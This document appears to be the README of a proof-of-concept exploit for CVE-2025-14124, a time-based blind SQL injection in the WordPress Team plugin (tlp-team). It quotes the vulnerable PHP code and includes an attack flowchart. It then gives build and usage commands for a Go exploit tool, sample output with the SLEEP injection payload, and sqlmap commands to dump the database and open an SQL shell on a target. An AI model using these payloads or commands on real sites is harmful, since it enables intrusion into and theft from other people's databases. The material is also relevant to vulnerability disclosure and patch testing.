// Line 221 - User input sanitized but NOT SQL-escaped
$sAction = sanitize_text_field( wp_unslash( $_REQUEST['search'] ) );

// Line 437-438 - VULNERABLE: Direct SQL concatenation
function tlp_team_search_where( $where ) {
    global $wpdb;
    $term = $wpdb->esc_like( $this->s['s'] );  // ⚠️ esc_like only escapes %, _, \
    $where .= "OR ({$wpdb->posts}.post_title LIKE '%{$term}%' ...)";  // ⚠️ SQLi!
}

flowchart TD
    A["Attacker finds page with [tlpteam] shortcode"] --> B["Extract tlp_nonce and data-sc-id"]
    B --> C["POST to /wp-admin/admin-ajax.php"]
    C --> D["action=ttp_Layout_Ajax_Action<br/>search=SQL_PAYLOAD"]
    D --> E{"Nonce valid?"}
    E -->|Yes| F["SQL query executed with payload"]
    F --> G["Time-based detection via SLEEP()"]
    
    style F fill:#ff6b6b,stroke:#c92a2a,color:#fff
    style G fill:#51cf66,stroke:#2f9e44,color:#fff

go build -o CVE-2025-14124.exe main.go

.\CVE-2025-14124.exe -u http://target.com

.\CVE-2025-14124.exe -u http://target.com --page-url http://target.com/our-team/

.\CVE-2025-14124.exe -u http://target.com --check-only

.\CVE-2025-14124.exe -u http://target.com --delay 5

>> [ ONLINE ]    
    ╔═══════════════════════════════════════════════════════════════════════════════════════╗
    ║   CVE-2025-14124 - WordPress Team Plugin SQL Injection                                ║
    ║   Affected: tlp-team < 5.0.11                                                         ║
    ║   Author: Hyun Chiya                                                                  ║
    ╚═══════════════════════════════════════════════════════════════════════════════════════╝

>> [ INFORMATION ]

[*] Checking if WordPress Team Plugin is active...
[+] Plugin detected: /wp-content/plugins/tlp-team/readme.txt
[+] Plugin detected!

[*] Searching for page with tlpteam shortcode...
[+] Found team page: http://target.com/our-team/
[+] Target page: http://target.com/our-team/

[+] Extracted nonce: abc123def456
[+] Extracted scID: 42

============================================================
[*] EXPLOIT: Time-Based Blind SQL Injection
============================================================

[*] Payload: t' OR SLEEP(3) OR 't'='t
[*] Expected delay: ~9 seconds (SLEEP executes 3 times)

[*] Sending malicious request...
[*] Response time: 9.23 seconds

[+] SQL INJECTION CONFIRMED!
[+] Response delayed by ~9 seconds (expected: 9)

[!] The target is vulnerable to Time-Based Blind SQL Injection
[!] Database can be extracted using tools like sqlmap

[*] Done.

# Dump database
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
  --data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
  -p search --dbms=mysql --technique=T --batch --dump

# SQL Shell (for UPDATE queries)
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
  --data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
  -p search --dbms=mysql --technique=T --sql-shell